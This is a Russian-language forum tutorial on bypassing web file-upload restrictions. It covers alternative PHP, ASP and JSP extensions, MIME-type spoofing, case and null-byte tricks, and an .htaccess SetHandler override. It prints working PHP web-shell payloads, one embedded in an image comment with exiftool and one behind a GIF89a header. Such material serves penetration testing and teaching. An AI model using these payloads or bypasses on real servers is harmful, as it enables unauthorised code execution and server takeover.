Что нового

Article [0] Bypassing File Uploads - Обход ограничений

Vander 0

Vander

Команда форума
10.11.2019
444
987
Приветствую уважаемую аудиторию форума Protey.

maxresdefault (1).jpg

Сегодня, предлагаю поговорить о методах обхода ограничений загрузки файлов на сервер, в контексте web-приложений.

Предположим, у вас есть ограничение, заключающееся в том, что вы можете загружать только в нескольких форматах, таких как:
  • PDF
  • JPEG
  • JPG
Что, если вы можете загрузить файл PHP, не обращая внимания на механизм загрузки и проверку типа файла?

Если кто-то может загрузить файл PHP, веб-сайт проиграет, поскольку он загрузит оболочку php и вы сможете легко выполнить RCE, или получить обратную оболочку на сервере.

reverse-shell-cheat-sheet (1).png

Как же работают методики обхода?

Это зависит от того, какой тип проверки использует система, если она просто проверяет расширение, то можно очень легко обойти это и загрузить файл PHP или что-то вредоносное.

Предположим, нам нужно загрузить файл JPG, поэтому расширение должно быть something.jpg
  • Обход обычного расширения
Мы можем загрузить файл, который выглядит как something.php.jpg или somethings.jpg.php.
  • Обход magic Byte validation
Для этого метода мы используем полиглоты.

В контексте безопасности полиглоты - это файлы, которые являются допустимой формой для нескольких различных типов файлов. Например, GIFAR - это файл в формате GIF и RAR. Также существуют файлы, которые могут быть как GIF, так и JS, PPT и JS и т. Д.

Поэтому, хотя нам нужно загрузить файл типа JPEG, мы фактически можем загрузить файл PHAR-JPEG, который будет выглядеть как файл типа JPEg на сервер во время проверки. Причина в том, что файл PHAR-JPEg имеет заголовок JPEG и файл PHP.
Поэтому при загрузке он не обнаруживался, а позже после обработки файл PHP можно было использовать для эксплуатации.

Давайте рассмотрим эту тему несколько подробнее.

Расширение файлов

Разработчики могут занести в черный список определенные расширения файлов и запретить пользователям загрузку файлов с расширениями, которые считаются опасными.
Это можно обойти, используя альтернативные расширения или даже несвязанные. Например, можно было бы загрузить и выполнить файл .php, просто переименовав его в file.php.jpg или file.PHp.

Альтернативные расширения

Type​
Extension​
php​
phtml, .php, .php3, .php4, .php5, and .inc​
asp​
asp, .aspx​
perl​
.pl, .pm, .cgi, .lib​
jsp​
.jsp, .jspx, .jsw, .jsv, and .jspf​
Coldfusion​
.cfm, .cfml, .cfc, .dbm​

Тип MIME

18020260018.png

Внесение типов MIME в черный список также является методом проверки загрузки файлов. Это можно обойти путем перехвата запроса POST на пути к серверу и изменив тип MIME.

Код:
Normal php MIME type:
Content-type: application/x-php

Replace with:
Content-type: image/jpeg
PHP getimagesize()

1603831984997.png

Для загрузки файлов, которые проверяют размер изображения с помощью php getimagesize (), можно выполнить шелл-код, вставив его в атрибут «Comment» свойств изображения и сохранив как file.jpg.php.

Вы можете сделать это с помощью gimp или exiftools:

Код:
exiftool -Comment='<?php echo "<pre>";
system($_GET['cmd']); ?>' file.jpg

mv file.jpg file.php.jpg
GIF89a; header

GIF89a - это заголовок файла GIF. Если загруженный контент сканируется, иногда проверку можно обмануть, поместив этот элемент заголовка в верхнюю часть шеллкода:

Код:
GIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>
1603830571024.png

Расширенная загрузка файлов

Upload image by blocking JavaScript​
Напишите в строке поиска firefox ---> about: config ----> примите риск ---> найдите javascript ---> измените его на false с true ----> затем загрузите файл .php.
Content-Type bypass​
Перехватите запрос загрузки (загрузите .php файл) ----> измените значение Content-Type на изображение /jpeg или изображение /jpg или изображение /gif или другое.
Suffix Blacklist bypass​
Загрузите файл .php с расширением .php2 / .php3 / .php4 / .php5 / .php6 / .php7 (это класс .php *) или .pht / .phtm / .phtml (это .ph * класс) или .php.gif / .php.jpg или .php% 00.jpg или .phtml.

Это зависит от используемого парсера php.
File parsing rules bypass (write into .ht access to change the file upload permission)​
Вы можете загрузить .htaccess с некоторыми конфигурациями для изменения расширения загружаемого файла (это означает, что вы можете загрузить любой файл php с любым расширением, таким как .php, .php5 и т. д.)

При перехвате запроса загрузки, изменение имя файла на .htaccess измените Content-Type на text/plain и запишите содержимое в файл - SetHandler application/x-httpd-php.

Теперь вы можете загрузить любой php файл с изменением Content-type в application/octet-stream.
Not unified case of suffix​
Измените расширение, например .phP, .Php, pHp или на что-то другое.

На этом, пока закончим, в следующей статье, я расскажу о дополнительных методах загрузки файлов на целевой сервер и способах их эксплуатации.

Спасибо за внимание, материал подготовлен специально для protey.net.​
 
Последнее редактирование:
Верх Низ